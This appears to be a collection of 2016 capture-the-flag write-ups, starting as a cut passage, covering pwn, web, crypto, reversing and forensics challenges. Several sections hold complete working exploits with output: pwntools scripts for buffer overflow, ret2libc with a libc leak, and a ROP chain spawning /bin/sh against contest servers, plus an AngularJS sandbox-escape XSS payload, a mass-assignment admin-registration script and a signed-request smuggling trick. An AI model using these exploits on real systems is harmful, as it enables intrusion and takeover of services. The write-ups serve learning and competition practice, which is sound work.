We can craft the requests ourselfes and send them directly to the recovered url or rebuild the apk with our money and/or exploits' prices faked.
![alt text](screen1.png)
After a purchase has been made a JSON request to `http://paygate.godric.me/order` is sent with products price, id and our devices id.
![alt](screen2.png)
The request is then corrected(price is set again from productid), signed and returned as a strings contacted by `&`. The response is then sent to `http://paygate.godric.me/order`
The server source tells us that we need to send a pay request with `price=0`, we could try sending a fake request directly at /pay but unfortunatelly the message is verified using rsa and sending edited requests results in error.
It turns out that the signing mechanism is broken, we can smuggle our `&price=0` after the message and sign. This way, we can have correctly-signed message and the price variable set to 0 which should give us the flag.
`BCTF{0DayL0veR1chGuy5}`Bingo! |
# misc70 - 'Rock with the wired shark'
> Sniffing traffic is fun. > I saw a wired shark. Isn't that strange?
> Attachment: [misc70.zip](./misc70.zip)
After opening up misc70.zip we're greeted with **dump.pcapng**, a dump of sniffed traffic to be opened in Wireshark (who would've guessed from the challenge name~)
![Image of Wireshark](http://i.imgur.com/qsAJHxf.png)
After seeing what we're capturing, it's time to go hunting/sifting through packets! I did this easily by sorting the Protocol like so:
![Image of Sorted](http://i.imgur.com/ejfedsE.png)
There's some interesting requests like "flag.zip". It's too bad the destinations were on a local server/client. (192.168.1.x addresses), so we can't personally experiment on the links.
So that must mean we have the .zip data somewhere right?
This one packet (#83) looks really interesting as it got a response of **200 OK** and with an **octet-stream**.
For all of those that know what this means, it means we're actually grabbing some binary data/file. Who knows it could be the .zip! o.o
![Image of .zip](http://i.imgur.com/UrEMkC7.png)
It totes is! I've seen that PK header before~. That's totally the flag.zip contents with our flag.txt! Alright so let's just download that.
You can do that by right-clicking on the **'Media Type'** attribute and pick **'Export Packet Bytes'**.
Alright, let's see what's in here. Oh...a password protected file..
![PasswordProtected](http://i.imgur.com/lh9s9ch.png)
Well the password has to be somewhere.. There's authorization/authentication somehow, Internetwache wouldn't just give us a broken CTF lmao.
First thing I noticed is in the information of the packets. We first get **401 Unauthorized** with our **GET** requests and then we're **200 OK**. So there must be some HTTP-Authentication somewhere in these packets before that OK request..
![Password](http://i.imgur.com/BtkxfKL.png)
Well that's a basic HTTP auth!
```flag:azulcrema```
Could that be our password to the .txt in the .zip file o.o?
![flag](http://i.imgur.com/v2kkTgC.png)
It is!
```IW{HTTP_BASIC_AUTH_IS_EASY}```
was the flag :3
|
### Solved by superkojiman
This binary uses fgets() to receive 32 bytes of input from the user, and later on, uses strcpy() to copy that input to another buffer. We can't overflow the buffer unless we send "I"s in our input. This is because a replace() function converts "I"s into "you"s, and 21 "I"s converted to "you"s will overflow the buffer and overwrite EIP.
There's a function called get_flag(), that returns the flag using system("cat flag.txt"). It's at address 0x8048f0d. So we just overwrite EIP with that and we should get the flag:
```#!/usr/bin/env pythonfrom pwn import *buf = ""buf += "I"*21 # these get converted to "you"buf += "A" # used for alignmentbuf += p32(0x8048f0d) # address of get_flag()open("in.txt", "w").write(buf)```
Against the server:
```# ./sploit.py# cat in.txt | nc problems2.2016q1.sctf.io 1337sctf{strcpy_was_a_mistake}``` |
### Solved by superkojiman
This is a 60 point reversing challenge. We're given a jar file called Secure_Text_Saver.jar. I uploaded it to [http://www.javadecompilers.com/](http://www.javadecompilers.com/) and found that LoginPage.java contained hardcoded credentials in the main() function:
```java public static void main(String[] args) { accounts.add(new Account("ztaylor54", "]!xME}behA8qjM~T".toCharArray()));```
Logging in with these credentials returned the flag.
![](/images/2016/sctf/secure_text_saver/01.png) |
### Solved by superkojiman and Swappage
On to pwn2! This binary was changed at some point during the competition. Initially there was a function that had a `syscall` instruction. Unfortunately this didn't work on 32-bit binaries, so the solution we came up with worked around it. After the binary was updated, the `syscall` was changed to `int 0x80` to allow for 32-bit ROPing, but they allowed us to keep the points.
When we connect to the service we're first prompted for the number of bytes we want to input. The maximum it will take is 32 bytes; anything greater will result is an error. After that, we're prompted for some input, and it basically reads in the number of bytes we specified earlier.
The first vulnerability is an integer overflow. Entering a negative number results in tricking the binary into accepting a much larger value which will cause a buffer overflow:
```# ./pwn2How many bytes do you want me to read? -1Ok, sounds good. Give me 4294967295 bytes of data!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYou said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault (core dumped)```
Half the battle won! The binary has NX, and we assumed that ASLR was enabled on the server. We decided to leak printf()'s address in libc by returning to printf@plt and making it print its GOT entry. Once we had printf()'s address, we used [libc-database](https://github.com/niklasb/libc-database) to identify the libc version and obtain printf()'s offset.
With the offset obtained, subtracting that from the leaked address gave us libc's base address. Using libc-database, we got the offsets for system() and "/bin/sh", which allowed us to get their addresses by adding them to libc's base address. Everything we needed to execute system("/bin/sh") was ready, so we just set printf() to return to vuln() so we could overwrite EIP all over again, and this time return to system(). Here's the exploit:
```python#!/usr/bin/env python
from pwn import *#r = remote("localhost", 2323)r = remote("problems2.2016q1.sctf.io", 1338)
buf = ""buf += "A"*48buf += p32(0x08048370) # printf@pltbuf += p32(0x0804852f) # return to vuln()buf += p32(0x08048702) # str: .... %s ....buf += p32(0x0804a00c) # ptr to printf@got
print "++++ STAGE 1 ++++"
# send size of bytes to readprint r.recv()r.sendline("-1")print r.recv()
# send first stage payload to leak libc addr# returns to printf@plt to leak addr of printf@got and getchar@gotprint "Sending stage 1 payload: leak libc"r.sendline(buf)r.recv()d = r.recv() # get leaked addresses
# leaked printf@gotaddr_printf = u32(d[:4])print "addr_printf ", hex(addr_printf)
# used libc-database to identify libc version, and obtain printf()'s offset# ubuntu-trusty-i386-libc6 (id libc6_2.19-0ubuntu6.6_i386)offset_printf = 0x0004d280
# libc base addresslibc_base = addr_printf - offset_printfprint "libc_base", hex(libc_base)
# libc-database found these offsets for system() and "/bin/sh"system_addr = libc_base + 0x00040190bin_sh_addr = libc_base + 0x160a24
print "system_addr", hex(system_addr)print "/bin/sh addr", hex(bin_sh_addr)
print ""print "++++ STAGE 2 ++++"
# stage 2, overwrite EIP all over again, but this time we have system("/bin/sh") to return tobuf = ""buf += "A"*48buf += p32(system_addr)buf += "XXXX"buf += p32(bin_sh_addr)
r.sendline("-1")print r.recv()
print "Sending stage 2 payload: system(\"/bin/sh\")"r.sendline(buf)print r.recv()
print "VulnHub FTW!"r.interactive()```
And finally, the exploit in action returning the flag:
```# ./sploit.py[+] Opening connection to problems2.2016q1.sctf.io on port 1338: Done++++ STAGE 1 ++++How many bytes do you want me to read?Ok, sounds good. Give me 4294967295 bytes of data!
Sending stage 1 payload: leak libcaddr_printf 0xb7610280libc_base 0xb75c3000system_addr 0xb7603190/bin/sh addr 0xb7723a24
++++ STAGE 2 ++++Ok, sounds good. Give me 4294967295 bytes of data!
Sending stage 2 payload: system("/bin/sh")You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x901`\xb7XXXX$:r\xb7
VulnHub FTW![*] Switching to interactive mode$ iduid=1001(pwn2) gid=1001(pwn2) groups=1001(pwn2)$ lsflag.txtpwn2$ cat flag.txtsctf{r0p_70_th3_f1n1sh}``` |
#Vertinet
This problem follows the same specifications as the previous Verticode problem, except that you have to solve many of them by developing a client to communicate with the server available at problems1.2016q1.sctf.io:50000. Good luck.
**The solution relys on Verticode, so for more information see that writeup**
## Solution overview
We have already completed the Verticode algorithm in the Verticode challenge, so this writeup will concentrate mostly on the network code.
First we have to connect to the server, to see what it spits out at us, to do this we issue the telnet command (you can also use nc but telnet is more often installed pr default.)
`telnet problems1.2016q1.sctf.io 50000` or
`nc problems1.2016q1.sctf.io 50000`
The server will output the following (the base64 encoded part has been shortened for brevity ).
```<html>
```
The server puts it all on one line, no line break sent with the data. This is important when we program our client.
1) Connect to the server2) Read from the server, until our buffer contains a start and and ending IMG tag.3) Extract the base64 encoded image data, using a regular expression:`/.*?$/gis`4) base64 decode the data and save the image to disk using a counter to change the filename5) Call the solveVerticode function with the filename of the saved png file.6) Send the result of the solveVerticode function to the server and repeat after emptying the html buffer.7) Additionally in the main loop search the buffer for the following regex: `/(sctf\{.*?\})/gis`, if its found print out the flag!
## Code
Below is the code for the Vertinet part of the solution, for more information about the solveVerticode() function please check the writeup for "Verticode"
The code is pretty self explanatory and follows the bullet points above
NB. the complete code is available in a separate file decode.pl
```#!/usr/bin/perl
use Imager;use IO::Socket::INET;use MIME::Base64;
$| = 1;
my ($socket,$client_socket);
$socket = IO::Socket::INET->new ( PeerAddr => "problems1.2016q1.sctf.io", PeerPort => "50000", Type => SOCK_STREAM, Proto => "tcp",) or die "ERROR no socket created :( $!\n";
print "Connected to the mofo.\n";
my $html = "";my $buffer = "";
my $imageNr = 1;
while (my $bytesRead = read($socket, $buffer, 1)){ $html .= $buffer;
if ( $html =~ /.*?$/gis ) { my $outfilename = "output-" . $imageNr++ . ".png"; open my $outfh,">$outfilename"; print $outfh decode_base64($1); close $outfh;
my $str = solveVerticode($outfilename); print $str . "\n"; print $socket $str; $html = ""; }
if ( $html =~ /(sctf\{.*?\})/gis ) { print "Flag is: " . $1 . "\n"; }}
sub solveVerticode {
# check the "Verticode" writeup for more on this function. .. return $vertString;}
```
## Flag
Run the program and watch as it solves the verticodes and in the end delivers the flag to you.
####sctf{y0ub34tth3v3rt1c0d3} |
#Lengthy Lingo
Can you crack the code? We intercepted this flag but can't seem to figure out how it was encrypted.
**Hint:** *The numbers don't seem to follow a specific pattern...*
## Solution overview
We get a file **encrypted.dat** which contain the cipher text that we need to decode, it contain a lot what seems to be huge integers separated by commas.
My first idea was to convert each of these large integers to their equivalent hex representation and see if some pattern would emerge, that however didn't seem to give me anything solid.
Reading the challenge title and the hint over and over and then sleeping on it, proved to be a good approach and yeah i got it.
**"Lengthy Lingo"** : It has something to do with length
What has length in this encrypted.dat data??
Its filled with integers seperated by commas!
Does the integers have length?
They have a value.
Wait they also have a length in how many digits they contain!!!
Finally it had dawned on me, that we could try to go through each integer counting the length of each one, the hint says **The numbers don't seem to follow a specific pattern...** which also told me the numbers wasn't important themselves.
We need a program for this
## Program
The task at hand is to write a program that take a filename as input in the terminal and splits the content of the file on ","
1) Handle command line arguments2) Split the content of the file on ","3) For each element in the list we split out, count the number of characters.4) Convert the length value for each integer to their ascii equivalent.5) Print the result!
```#!/usr/bin/perl
my $filename = $ARGV[0];unless (-e $filename) {usage();exit(0);}
open my $fh,"<$filename" or die "Error opening file $filename!\n";my $content = join "",<$fh>;chomp $content;
print decrypt($content);
sub decrypt { my $content = shift;
my @parts = split /,/,$content; my $result = ""; foreach my $p (@parts) { $p =~ s/\s+//g; $result .= chr(length($p)); } return $result;}
sub usage() { print "\n"; print "Usage: \n"; print "\t$0 <encrypted-file>\n"; print "\n";}
```
## Solution
Run the program
`./decode.pl encrypted.dat`
and you get the flag!!
**sctf{101_th3_numb3r5_d1dn'7_3v3n_m4tt3r}** |
CTF Challenges Link: https://quals.nuitduhack.com/challenges/if you need some informations or more details: Contact Me : [email protected]if you like this video: #Like + #Subscribe + #Share & Thank you ^^ !! |
----------------[Forensics] Dump - 50 points----------------
> English:
> We know this dump was generated by a process which was executing as root in the computer, and that it was reading directly from a /dev device. Probably it is part of a keylogger module included in a rootkit which is being tested by the Club. Help us to unveil this message, allowing us to discover why they infected this specific machine.
> Submit the flag in the format: CTF-BR{message}
In this task we were given a `dump` file. Looking at it in hexeditor, we quickly notice that it almost repeats every24 bytes:```$ hexdump -C dump | head00000000 79 8e 8a 56 00 00 00 00 d0 59 0a 00 00 00 00 00 |y..V.....Y......|00000010 04 00 04 00 28 00 07 00 79 8e 8a 56 00 00 00 00 |....(...y..V....|00000020 d0 59 0a 00 00 00 00 00 01 00 1c 00 00 00 00 00 |.Y..............|00000030 79 8e 8a 56 00 00 00 00 d0 59 0a 00 00 00 00 00 |y..V.....Y......|00000040 00 00 00 00 00 00 00 00 7b 8e 8a 56 00 00 00 00 |........{..V....|00000050 7f b7 0a 00 00 00 00 00 04 00 04 00 e1 00 07 00 |................|00000060 7b 8e 8a 56 00 00 00 00 7f b7 0a 00 00 00 00 00 |{..V............|00000070 01 00 2a 00 01 00 00 00 7b 8e 8a 56 00 00 00 00 |..*.....{..V....|00000080 7f b7 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|00000090 7b 8e 8a 56 00 00 00 00 82 2e 0c 00 00 00 00 00 |{..V............|```In the task description `/dev` was mentioned. Googling Linux's treatment of keyboard we notice the following structure:```struct input_event { struct timeval time; unsigned short type; unsigned short code; unsigned int value;};```It seems to fit our data - timeval was monotonically increasing, and the size of the structure was 24.We found that `value` contains 0 or 1, depending on whether the key was pressed or released, the `type` that wasinteresting for us was `EV_KEY` (1), and `code` was the keycode. In `keys.h` file from Linux source code there were allkeycode definitions. We copied interesting part of it and wrote a Python script to parse the dump. Running it, we get theflag:```I am suspicious of Fideleetos intentions``` |
PCAPBleedingAuthor : julien - Difficulty : mediumFinally, somebody has read our 2014 log files. We think an attack occurred on our HTTPS server but we don't know if they succeed in stealing valuableinformation. Some confidential data pass through this SSL channels so we hope it's not broken :~The flag format is INS={some random string here}. |
#Control Panel
Take control... of the flag on this [admin control panel](http://cpanel.sctf.michaelz.xyz/).
**Hint:** *There are more hints in the comments.*
## Getting an overview
We go to the site and browse about a bit, to see what we are dealing with. We got
1) The main page2) Register / sign up page3) Login page4) Control Panel page (when logging in)
We check the out the source of the html for each page, the first page that has some interesting stuff, is the register page, we can see in the end it has a function called **register_form** and in the html we can see that the form have registered it as a callback when the form is submitted.
```var register_form = function() { var disable = "input"; $(disable).attr("disabled", "disabled"); $.post("/api/user/register", { _csrf: "lyYp1wpK-I3KCeNoHwreYKYwz5tiCl65Hw8s", username: $("#username").val(), password: $("#password").val(), }, function(result) { display_message("#register_msg", (result.success == 1 ? "success" : "danger"), result.message, function() { if (result.success == 1) { location.href = "/account"; } else { $(disable).removeAttr("disabled"); } }); });};```
From this function we can see that it post to the url /api/user/register and we can see it post the username, password and a random csrf value. (we can refresh the page and see it changes each time).
When your data has been posted to the server it return a json string indicating success of failure to create the new user. We can see that you get redirected to /account if your user got created.
We try to create an account and see what happens when we get redirected to /account.
A new page we haven't seen before loads, with a message **"No flag for you, you are not an admin"**, we check out the pages source and in the bottom we find the following
```
```
Here user.admin likely refer to the table user and the column admin, in some sort of internal database, so we can deduct that username maps to user.username and password maps to user.password.
How could we set the admin to true, in a very badly designed system? Well we could try to post an additional key value pair: **"admin":1** to see if that could work.
With the ever changing csrf value, we need to make a program to solve this, perl to the rescue.
## Programming time
Basically our program will have to do the following
1) Load the registration page, and scrape off the csrf value, we need it when posting.2) Send a POST request to the server endpoint, with the csrf,username,password and admin values.3) Go to the /account page and check if we can find a flag!
We use perl to program this
```#!/usr/bin/perluse LWP;use LWP::UserAgent;use HTTP::Cookies;use URI::Escape;
my $cookie_jar = HTTP::Cookies->new( agent => "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 FireCow/27.0");
my $ua = LWP::UserAgent->new( ssl_opts => { verify_hostname => 0 }, cookie_jar => $cookie_jar,);
push @{ $ua->requests_redirectable }, 'POST';
my $username="zylopfa" . rndStr (8, 'A'..'Z','a'..'z', 0..9);my $csrf = "";
# get the csrf valuemy $csrfpage = "http://cpanel.sctf.michaelz.xyz/register";my $req = HTTP::Request->new(GET => "$csrfpage");my $res = $ua->request($req);
if ( $res->content =~ /csrf: \"(.*?)\",/gis ) { $csrf = $1;}
# Registration using randomish username and password and the csrf valuemy $page = "http://cpanel.sctf.michaelz.xyz/api/user/register";
$req = HTTP::Request->new(POST => "$page");$req->header('Referer', 'http://cpanel.sctf.michaelz.xyz/register');$req->content_type('application/x-www-form-urlencoded');$req->content("_csrf=" . $csrf . "&username=" . $username . "&password=passw0rd0&admin=1");$res = $ua->request($req);
# Go to the admin page and scrape the flag
my $adminpage = "http://cpanel.sctf.michaelz.xyz/account";$req = HTTP::Request->new(GET => "$adminpage");$res = $ua->request($req);
if ( $res->content =~ /(sctf{.*?})/gis ) { print $1 . "\n";}
sub rndStr{ join'', @_[ map{ rand @_ } 1 .. shift ] }
```
The code if following the steps we outlined above and should be pretty explanatory. All we have to do now in order to find the flag is to execute the program.
`./solve.pl`
And we get the flag:
**sctf{TIL_noSql_cAn_bE_InjeKT3d_t0o}** |
<h1>angstromCTF 2016 - SPQR</h1><h2>Category: Crypto Score: 10</h2>DescriptionWe found this message written on a piece of parchment in the ruins of ancient Rome. What could it mean?uxptkx_max_bwxl_hy_ftkvaSolving the challengeThis is just a basic substitution cipher.To find the offset I used http://rumkin.com/tools/cipher/caesar.phpCaesarian Shift cipher - N:7<span>Flag: beware_the_ides_of_march</span> |
## Challenge
We are given a page with a paramter ?xss=<xss> in which we must find an XSS which can bypass the filters.
## Solution
After some experimenting we find that certain characters such as ["<", ">", ":"] are replaced by "_". These characters could not be escaped by the usual tricks like converting to hex ([examples](http://htmlpurifier.org/live/smoketests/xssAttacks.php))
Other characters were filtered out but it was possible to trick the filters into displaying them by capitalising or repeating the character e.g. `?xss=<s<script>cript>alert(docudocumentment.cookie)</scrip</script>t>` (this example output `_script_alert(document.cookie)_/script_`)
The problem is still that the most critical characters are not escapable. After searching around we find two blog posts ([1](https://sites.google.com/site/bughunteruniversity/nonvuln/angularjs-expression-sandbox-bypass), [2](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)) about angular.js sandbox bypasses which do not require those characters. By modifying the exploit to bypass the second set of filters we are finally able to get an alert on the page.
```xss?={{'a'.coonnstructor.prototype.charAt=[].join;$evaevall('x=1} } };alonert(1)//');}}```
![](can_you_hit_me.png)
We then email proof of the XSS to the organisers to get the flag:
**SSCTF{4c138226180306f21ceb7e7ed1158f08}**
## Solved byArtDan |
<h1>angstromCTF 2016 - What the Hex</h1>Category: Crypto Score: 15<h2>Description</h2><span>Decode using hex and see what you get…6236343a20615735305a584a755a58526659323975646d567963326c76626c3930623239736331397962324e72</span><h2>Solving the challenge</h2>Only needed my terminal for this.<span>First I decoded the hex encoded string.</span><span> echo "6236343a20615735305a584a755a58526659323975646d567963326c76626c3930623239736331397962324e72" | xxd -r -pb64: output : aW50ZXJuZXRfY29udmVyc2lvbl90b29sc19yb2Nr</span><span></span><span>$ echo aW50ZXJuZXRfY29udmVyc2lvbl90b29sc19yb2Nr | base64 -doutput is : internet_conversion_tools_rock</span>Flag: internet_conversion_tools_rock<span></span> |
<h1>angstromCTF 2016 - Amoebananas!</h1>Category: Web Score: 20<h2>Description</h2>The amoeba is a fascinating creature.<h2>Solving the challenge</h2><span>Looking at the page’s source code with ctrl-u revealed the flag</span><span><html> <head> <title>Amoeba Central</title> </head>
<body> <h1 style="color:blue;">Welcome to your source for amoeba information!</h1> <h2 style="color:green;">A WORLD LEADER IN AMOEBA SCIENCE</h2>
<img src="https://upload.wikimedia.org/wikipedia/commons/9/90/Ameoba_Under_Light_Microscope.jpg"> <p>"Amoeba Under Light Microscope" by Iceclanl</p>
<!-- Your flag is: pseudopods_are_da_bomb --> </body></html></span><span>Flag: pseudopods_are_da_bomb</span> |
### Solved by Swappage & Superkojiman
# analysis
pwn3 was a binary *blogging application* for linux x86
pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=4838e54f549c6c8d9e49fc91153fe41060dbfbe5, not stripped
when running the application provided the following options to the user
+-------------------------------------------+ | Welcome to the Universal Blogging Engine, | | your one-stop-shop for all blogging needs.| +-------------------------------------------+ +--------------------+ | Options | | [1] Write a post | | [2] Edit a post | | [3] List all posts | | [4] Print a post | | [5] Quit | +--------------------+
i started fuzzing a bit with the application and here is what i figured out by simply adding 2 threads
1 Your name: AAAA Title: BBBB Contents: CCCCDDDDEEEEFFFF Thread successfully added! +--------------------+ | Options | | [1] Write a post | | [2] Edit a post | | [3] List all posts | | [4] Print a post | | [5] Quit | +--------------------+ 1 Your name: aaaa Title: bbbb Contents: cccc Thread successfully added! +--------------------+
For every entry we add, a new element is placed on the stack
gdb-peda$ find AAAA stack Searching for 'AAAA' in: stack ranges Found 1 results, display max 1 items: [stack] : 0xffff42a9 ("AAAA") gdb-peda$ x/128wx 0xffff42a9 0xffff42a9: 0x41414141 0x00000000 0x00000000 0x00000000 0xffff42b9: 0x00000000 0x00000000 0x00000000 0x00000000 0xffff42c9: 0x42424242 0x00000000 0x00000000 0x00000000 0xffff42d9: 0x00000000 0x00000000 0x00000000 0x00000000 0xffff42e9: 0x00000000 0x00000000 0x00000000 0x00000000 0xffff42f9: 0x00000000 0x00000000 0x00000000 0x00000000 0xffff4309: 0x43434343 0x44444444 0x45454545 0x46464646 0xffff4319: 0x00000000 0xffff438a 0x61616101 0x00000061 0xffff4329: 0x00000000 0x00000000 0x00000000 0x00000000 0xffff4339: 0x00000000 0x00000000 0x62626200 0x00000062 0xffff4349: 0x00000000 0x00000000 0x00000000 0x00000000 0xffff4359: 0x00000000 0x00000000 0x00000000 0x00000000
and by looking at it, it really looks like they are a linked list, where every element has a pointer to the next.
using the 3rd function confirmed it
3 ID : 0 Poster : AAAA Title : BBBB Contents: CCCCDDDDEEEEFFFF Next : 0xffff431d
ID : 1 Poster : aaaa Title : bbbb Contents: cccc Next : 0xffff438a
funny things start to happen when we use the second function:in fact every element on the list is placed at a fixed distance of 4 bytes from the previous one, and there is no boundary check in the length of the content; this can result in the corruption of arbitrary list elements, as we can see from the following application output.
3 ID : 0 Poster : AAAA Title : BBBB Contents: CCCCDDDDEEEEFFFF Next : 0xffff431d
ID : 1 Poster : aaaa Title : bbbb Contents: cccc Next : 0xffff438a
ID : 70 Poster : FFF Title : Contents: Next : 0x45454545
Assuming we are dealing with a vanilla linked list, at this point we know that we can use the following procedure- add a first element to the list- add a second element to the list- edit the first to overflow in the second
to tamper with the next element pointer of the second element.The next natural step for me was to try adding a new element, as this would eventually write garbage data to an arbitrary memory location, but something didn't go as expected
I noticed that if i tampered with a pointer of a list element, and then tried to append a new item at the end of the list, the item wouldn't display if i tried to list all the elements in the list, even if it was added on the stack; further examination revealed, that other variables were present on the stack, and one of those was used as a fixed pointer to the list tail, and was only updated by the append_thread function.
0x08049093 83c069 add eax, 0x69 0x08049096 8d1403 lea edx, dword [ebx + eax] 0x08049099 8b4508 mov eax, dword [ebp + 8] ; [0x8:4]=0 0x0804909c 8910 mov dword [eax], edx 0x0804909e c70424edeb0b. mov dword [esp], str.Thread_successfully_added_ ;
The following values on the stack respectively represent
gdb-peda$ x/4wx 0xffff428c-8 0xffff4284: 0xffff4396 0x00000000 0x00000003 0x00000002
- the pointer to the location in memory where the new item would be added- the id of the last edited thread (0 also means none).- the last option chosen in the menu (scanf saves its data here)- the total number of threads in the list.
This added some complexity to the exploitation process, because it revealed that it's not enough to tamper with the list pointers and append a new thread, but a series of constraint must be respected for the application to behave as expected.
but let's take a step back.
A list element is structured as follows:
- 4 bytes that represent the pointer to the next element in the list- 1 byte that represents the element id (in python chr(byte))- 32 bytes are allocated for the Poster- 64 bytes are reserved for the title- a variable amount of bytes is dynamically allocated for the thread boundary
upon creation- the item is placed on the stack- 4 is added to the value of the last byte in the comment and the result is used to determine the pointer to the next element in the list.- the value is used both as a property of the list item itself, as well as for updating the variable keeping track of the list tail.
upon edit- if the element to be edited is not the last in the list, then the list is traversed till the desired item is reached- the id is used to identify the item to edit.
upon listing- the list is traversed and an element is read until a null pointer is found, which determines the endo of the list.
# exploitation
Now that we know enough about the application behavior, we can start thinking about the exploit.
The theory behind it is still the same: tamper the list pointers to obtain an arbitrary write what where condition, but for this to work the process is a bit more complicated then what I initially imagined.
We can't append a new item, the only way to overwrite arbitrary memory locations is to use the edit function, also by doing this, we need to make sure that the structure of the list is preserved in terms of order, and that the id of the item we are going to edit is lower then the total amount of threads the application knows to exist.
to accomplish this i decided to proceed as follows:- added 15 items to the list- edited the 6th element in the list to modify the pointer from 7th item to 8th item.- carefully picked an area of memory as a destination that would result in a valid item: the pointer to the next element wasn't null and the id would be 8- at this point i had an 8th element which would be recognized as valid by the application- edited it to tamper with the memory location where the saved return address from menu() to main() was stored.
returning from menu() to main() by quitting the application would allow us to control EIP.
Superkojiman jumped in here and built a rop chain, added it to the exploit and captured the flag.
here is our exploit code
```python#!/usr/bin/python
from pwn import *
context(arch = 'i386', os = 'linux')
#r = remote("localhost", 2323)r = remote("problems2.2016q1.sctf.io", 1339)
print r.recvuntil("|\n+--------------------+\n")
#add some elements to the listfor a in range(0, 15): r.send("1\n") print r.recv() r.send("AAAA\n") print r.recv() r.send ("BBBB\n") print r.recv() r.send("CCCCDDDDE/bin/sh\n") print r.recvuntil("|\n+--------------------+\n")
#leak valid stack address# this returns the pointer that item 0 has for item 1# can be used as a reference to defeat aslr but also for other things (maybe)r.send("3\n")output = r.recv()print output
stack1 = output.split("Next : ")[1].split("\n")[0]stack1 = int(stack1, 16) # this is the pointer stored in the element 0 of list pointing to element 1
main = stack1 + 0x910fbinsh = stack1 - 0xB
print "stack address: " + hex(stack1)print "return to main at: " + hex(main)print "our buffer will go at: " + hex(main-100+16-4)print "/bin/sh string: " + hex(binsh)
# here we edit the 6th entry in the list to tamper the 7th next element pointer#bufferbuffer = ""buffer += "A"*20 # junkbuffer += p32(main-100+16-4) # pointer to next entrybuffer += chr(7) # element id (we modify the second by doing so we forge a 3rd non registered element)buffer += "A"*16 # the list body of the next element we forgebuffer += "\n"
r.send("2\n")print r.recv()r.send("6\n")print r.recv()r.send(buffer)print r.recvuntil("|\n+--------------------+\n")
# now that we have tampered the pointer from 7th element to 8th element# we can use the edit function as an arbitrary write what where and control RIP
read_flag = p32(0x080ea001)
buffer = ""buffer += "A"*19#buffer += p32(0x42424242) # here we control rip
# sys execve("/bin/sh", 0, 0)buffer += p32(0x8054f10) # xor eax eax ;;buffer += p32(0x8096372) # add eax 0xb ; pop edi ;;buffer += "JUNK" # pops into edibuffer += p32(0x806f511) # pop ecx ; pop ebx ;;buffer += p32(0xffffffff) # ecx, needs to be 0buffer += p32(binsh) # ptr "/bin/sh"buffer += p32(0x806f4ea) # pop edxbuffer += p32(0xffffffff) # edx, needs to be 0buffer += p32(0x80daf8c) # inc ecx ;;buffer += p32(0x805dd27) # inc edx ;;buffer += p32(0x806fbc0) # int 0x80 ;;
buffer += "\n"
r.send("2\n")print r.recv()r.send("8\n")print r.recv()r.send(buffer)print r.recvuntil("|\n+--------------------+\n")
# now we return from menu to main and libc_start to quit returning into our bufferr.send("5\n")
r.interactive()```
Here's the output of the exploit:
```# ./sploit.py[+] Opening connection to problems2.2016q1.sctf.io on port 1339: Done+-------------------------------------------+| Welcome to the Universal Blogging Engine, || your one-stop-shop for all blogging needs.|+-------------------------------------------++--------------------+| Options || [1] Write a post || [2] Edit a post || [3] List all posts || [4] Print a post || [5] Quit |+--------------------+
Your name:Title:Contents:Thread successfully added!...ID : 12Poster : AAAATitle : BBBBContents: CCCCDDDDE/bin/shNext : 0xbf9b4129
ID : 13Poster : AAAATitle : BBBBContents: CCCCDDDDE/bin/shNext : 0xbf9b41a2
ID : 14Poster : AAAATitle : BBBBContentstack address: 0xbf9b3b7dreturn to main at: 0xbf9bcc8cour buffer will go at: 0xbf9bcc34/bin/sh string: 0xbf9b3b72s: CCCCDDDDE/bin/shNext : 0xbf9b421b...[*] Switching to interactive mode$ iduid=1002(pwn3) gid=1002(pwn3) groups=1002(pwn3)$ lsflag.txtpwn3$ cat flag.txtsctf{h34p_0n_th3_st4ck_EZPZ}``` |
#Trololo
Filter out all packets with the protocol RTP/RTSP/RTCP using the Wireshark filter `!rtp && !rtsp && !rtcp`. These are for some video stream that is not relevant to the malware.
One of the remaining packets is a response for a GET request for `/content.enc`. The content of this packet seems to contain "encrypted" data. A lot of the bytes are the same value: `0xfd`. Furthermore, none of the bytes happen to be within ASCII range (they all have leading bit 1). This suggest that we should invert all the bits (same thing as xor-ing with `0xff`):
```Python 2.7.10>>> x = "0d0a0d0ac3c087...">>> import binascii>>> y = binascii.unhexlify(x)>>> print(''.join([chr(ord(a) ^ 0xff) for a in y]))```
The result is the following XML document:
```????<configuration> <mailSettings> <smtp from="[email protected]"> <network host="hermes.ndh2k16.local" port="25"/> </smtp> </mailSettings> <NDHCrypto.Settings> <setting name="EXT_TO_ENCRYPT" serializeAs="String"> <value>docx:doc:xls:xlsx:pdf:jpg:odt:ods:png:bmp:avi:mp4</value> </setting> <setting name="KEY" serializeAs="String"> <value>AD784DA62D1DDBB19B7F0500A52DD15C0BD70F924A5EF7C3CEA134C428747AFB</value> </setting> <setting name="SUBJECT" serializeAs="String"> <value>New infected</value> </setting> <setting name="IRC_SRV" serializeAs="String"> <value>irc://irc.ndh2k16.com:6667</value> </setting> <setting name="IRC_CHAN" serializeAs="String"> <valude>#Crypt0NDH2K16</value> </setting> <setting name="IRC_CHANPASS" serializeAs="String"> <value>orudeujieh6oonge4She</value> </setting> </NDHCrypto.Settings></configuration>```
The password (and therefore the flag) is `orudeujieh6oonge4She`. |
